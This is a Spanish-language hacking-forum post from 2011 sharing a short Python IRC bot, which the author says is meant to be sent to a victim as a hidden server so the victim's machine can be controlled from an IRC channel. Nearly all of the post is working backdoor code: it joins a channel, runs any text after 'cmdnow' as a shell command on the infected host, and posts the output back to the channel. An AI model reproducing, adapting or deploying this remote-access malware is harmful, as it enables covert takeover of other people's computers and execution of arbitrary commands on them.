Foro de elhacker.net

Programación => Scripting => Mensaje iniciado por: BigBear en 7 Octubre 2011, 01:37 am



Título: [Python] IRC Bot
Publicado por: BigBear en 7 Octubre 2011, 01:37 am
Hola a todos.

Aca les traigo un IRC Bot en Python para poder usar como servidor oculto y mandarselo
a una victima para poder controlarla desde un comando canal IRC

El comando clave para mandar comandos que despues se muestra el
resultado de comando en el chat es

Código:
cmdnow TUCOMANDO

Código
  1. #!usr/bin/python
  2. #Insane Bot (C) Doddy Hackman 2011
  3. #Version beta 0.00001
  4.  
  5. import re,socket
  6. import subprocess
  7.  
  8. host = "127.0.0.1"
  9. canal = "#locos"
  10. nick = "bot"
  11.  
  12. irc = socket.socket()
  13. try:
  14. irc.connect((host,6667))
  15. irc.send("NICK "+nick+"\r\n")
  16. irc.send("USER "+nick+" 1 1 1 1\r\n")
  17. irc.send("JOIN "+canal+"\r\n")
  18. print "[+] Insane Bot Online\n"
  19. while 1:
  20.  code = irc.recv(9999)
  21.  if re.findall("PING",code):
  22.   irc.send("PONG "+code.split()[1]+"\r\n")
  23.  if re.findall("PRIVMSG",code):
  24.   nick = code.split("!")
  25.   nick = nick[0].replace(":","")
  26.   msg = code.split(":")[2:][0]
  27.   if re.findall("cmdnow",code):
  28.    cmd = code.split("cmdnow")[1]
  29.    irc.send("PRIVMSG "+canal+" : [+] Loading command : "+cmd+"\n")
  30.    rea = subprocess.Popen(cmd,shell=True,stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE)
  31.    if rea:
  32.     re1 = rea.stdout.read()
  33.     total = re1.replace("\n","|")
  34.     irc.send("PRIVMSG "+canal+" : "+total+"\n")
  35.    else:
  36.     re2 = rea.stderr.read()
  37.     total = re2.replace("\n","|")
  38.     irc.send("PRIVMSG "+canal+" : "+total+"\n")
  39.  
  40.  
  41. except:
  42. print "\n\n[-] Error\n\n"
  43.  
  44.  
  45. # The End
  46.